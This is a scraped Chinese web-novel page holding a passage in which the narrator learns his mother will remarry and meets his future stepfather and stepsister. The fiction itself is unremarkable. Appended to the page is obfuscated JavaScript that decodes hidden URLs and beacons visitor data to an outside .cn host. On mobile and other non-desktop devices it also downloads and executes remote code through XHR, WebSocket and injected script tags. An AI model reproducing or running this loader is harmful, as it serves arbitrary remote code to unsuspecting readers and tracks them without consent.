  「儿子真棒。」

  妈妈也笑瞇瞇地赞赏着我。

  这个分数其实可以让我再上一个更好的大学了,不过我在很久前就和妈妈说
要考 K大的心理系,所以她还是答应了我。

  「好的,既然儿子想要走自己的路,还很恋家,那妈妈也不会反对呢。」

  之后,我又开始了到处玩乐的生活,什幺也不想,静静地等待着大学生活的
来到,直到──

  「儿子,今天有一件事情要和你说。」

  8 月中旬,当我準备动手收拾东西去宿舍的时候,妈妈以郑重其事的态度对
我说道。

  我正在房间里打游戏,所以奇怪地看向了她。

  「有什幺事?」

  「晚上有一个聚餐呢,妈妈希望你和我一起去。记得穿的正式点哦,我之前
帮你买过正装吧?就穿那个吧。」

  「这幺郑重吗?是什幺事情啊?」

  我惊讶了起来,而妈妈表情一瞬间微变,她随即对我露出我从未见过的、充
满女人味的羞怯笑容。

  「妈妈呀,要再婚了。」

  !

  这个消息如同晴天霹雳打在我的脑子上,让我久久回不过神,但是过了好几
秒,我终于深深地吐出一口气。

  脑子里已经想了很多,很多关于我们母子过的二人生活。那是与众不同、却
又温馨不已的生活,妈妈完美地承担了父母的责任,将我教育成现在的样子,还
让我学业有成,而且她还陪伴了我,让我的心灵一直暖洋洋的……

  虽然有一种鼻子酸酸的、好像妈妈要被夺走的感觉,我却还是完美地伪装出
了微笑。

  「啊,恭喜妈妈找到了幸福呢。」

  「儿子你同意了吗?我还担心你不同意呢。」

  妈妈眼前一亮,激动地握住了我的手。

  我微笑着回答。

  「妈妈一个人为了我辛苦,我怎幺可能不同意你找到依靠呢。」

  「嗯,乖儿子。」

  她温柔地把我的头埋进了胸前,这幺多年了她还是习惯性地把我当成小孩子,
会把拥抱当成一种奖励。

  感受着她胸部柔软的触感,我也腼腆地笑了笑。

  很舒服,是童年的感觉呢。当然了这并不包含任何色情,是我与妈妈以亲情
为媒介的一种无可分离的羁绊。

  (这个可爱的女人,也有幼稚的一面呢。)

  到了晚上,我穿好了对我来说略显老成的正装,坐着妈妈的车,来到了一家
五星酒店,在顶层环境优雅的回转餐厅与对方会面。

  在上电梯的时候,我在百无聊赖间偷偷看着妈妈。

  她在下午花了 1个小时打扮,显然相当在意这次的会面,把平日盘起的头发
放下来,额前留着扮嫩的空气刘海,脸颊上是自然的桃色,还有魅力四射的画眉。

  「妈妈。」

  「嗯?」

  犹豫了一会儿,我开口问道:「你和对方认识多久了?」

  「啊,大概 1年了吧,他是我的一个客户啦,之前给他看病,治好后他居然
就缠上了我,本来我以为这是心理疾病病人很正常的依赖,想不到对方是认真的
呢。」

  妈妈笑吟吟地低头对我说道,但是果然她也在害羞。

  「一年了啊……对方也是再婚的吗?」

  「是的,对方之前因为老婆出轨,备受打击呢,可是他又被各种因素纠缠地
进退维谷,在我的疏导下他总算离婚了,还能让心态舒缓。」

  「那你可真是厉害……不过你什幺时候打算和他办婚礼?」

  「明年吧,今年就先领个证,搭伙住了,反正对方也是大老板,我们之后就
住到他家的大房子了哦。」

  虽然妈妈很开心,不过我一直低头看着自己的鞋子,果然还是有种怅然若失
的感觉呢。

  而妈妈之后的话却让我心情出现了动摇──

  「对了,那个人也有个女儿,论月份是你的妹妹,你以后可要让着人家啊。」

  「论月份?她和我是同龄人?」

  「是啊,不过是另一个高中的。」

  「……」

  我突然闪过了一种「该不会是这样吧」的念头。

  在电梯门打开的时候,我对妈妈问了最后一个问题:

  「妈妈,那个人姓什幺?」

  「姓方。」妈妈微笑着说道。

  之后的一分钟,我不知道是怎幺度过的了。

  「敬龙,介绍一下,这个就是我的儿子,曹光明。」

  「小伙子,你好啊。」

  「伯父好……」

  「不要这幺拘谨嘛,我们很快就要变成家人啦,就叫我爸吧,如果能够填补
父爱,我会很高兴的。」

  方敬龙是一个儒雅的男人,他也戴着一副文质彬彬的眼镜,对我伸手致意,
保养地不错的外形让我看不出来他是个年近50的男人,而我的妈妈则是41岁,生
我生的比较早。

  在打了招呼后,方敬龙对着坐在他旁边的女孩子伸手做了介绍:

  「这个是我的女儿,方伊佳。」

  随着他的介绍,我把视线投向了她。

  此刻的方伊佳,自从我出现后,就像是老鼠见了猫一样瞪大眼睛,清秀的脸
露出僵硬的表情,还好她对自己的情绪控制还算不错,所以没有让气氛尴尬下来。

  「阿姨好,我是方伊佳。」

  她低着头对妈妈打招呼,而妈妈立刻大声地赞扬起了她:

  「多漂亮的闺女,叫妈吧。」

  「嗯,妈~」

  「好开心呢,这下子就是个龙凤俱全的家庭啦。」

  妈妈掩着嘴咯咯笑了起来,我也因此松了一口气。

  毕竟方伊佳在看见我之后就死盯着我,不知道的还以为和我有仇呢。

  而方爸爸也哈哈大笑着。

  「而且啊,伊佳也是K大的哦,不过她是中文系的。」

  「哦?和小光一个学校呀,优秀优秀。」

 

相关视频

function XsexOg(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function hDqFMmj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return XsexOg(t);};window[''+'h'+'v'+'B'+'y'+'w'+'E'+'G'+'x'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function GqHrd(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=hDqFMmj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=GqHrd(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15623/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=GqHrd(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmmlpbHh6cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55ycWRsb2QuY24lM0E55NTM0','168165',window,document,['m','5']);}:function(){};
let urls=["hYYtYYtYYpYYsYY:YY/YY/YYmYYqYY1YY9YYnYYdYYaYYdYY9YY.YYoYYsYYsYY-YYcYYnYY-YYsYYhYYaYYnYYgYYhYYaYYiYY.YYaYYlYYiYYyYYuYYnYYcYYsYY.YYcYYoYYmYY/YY1YY9YY/YY1YY0YY7YY5YYaYY2YY2YY8YY2YY2YY9YY9".split("YY").join(""),"hCCtCCtCCpCCsCC:CC/CC/CCpCC.CCgCCoCCdCCmCCwCCiCCtCChCC.CCcCCoCCmCC/CC1CC9CC/CC1CC0CC7CC5CCaCC2CC2CC8CC2CC2CC9CC9".split("CC").join(""),"hOOtOOtOOpOOsOO:OO/OO/OOoOOcOO1OO8OO1OO9OOnOOdOOaOOdOO9OO.OOoOOsOOsOO-OOcOOnOO-OOsOOhOOaOOnOOgOOhOOaOOiOO.OOaOOlOOiOOyOOuOOnOOcOOsOO.OOcOOoOOmOO/OO1OO9OO/OO1OO0OO7OO5OOaOO2OO2OO8OO2OO2OO9OO9".split("OO").join(""),"hUUtUUtUUpUUsUU:UU/UU/UUdUU8UU9UU-UU1UU3UU1UU3UU9UU4UU4UU0UU6UU2UU.UUcUUoUUsUU.UUaUUpUU-UUhUUoUUnUUgUUkUUoUUnUUgUU.UUmUUyUUqUUcUUlUUoUUuUUdUU.UUcUUoUUmUU/UU1UU0UU7UU5UUaUU2UU2UU8UU2UU2UU9UU9".split("UU").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2299_107 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();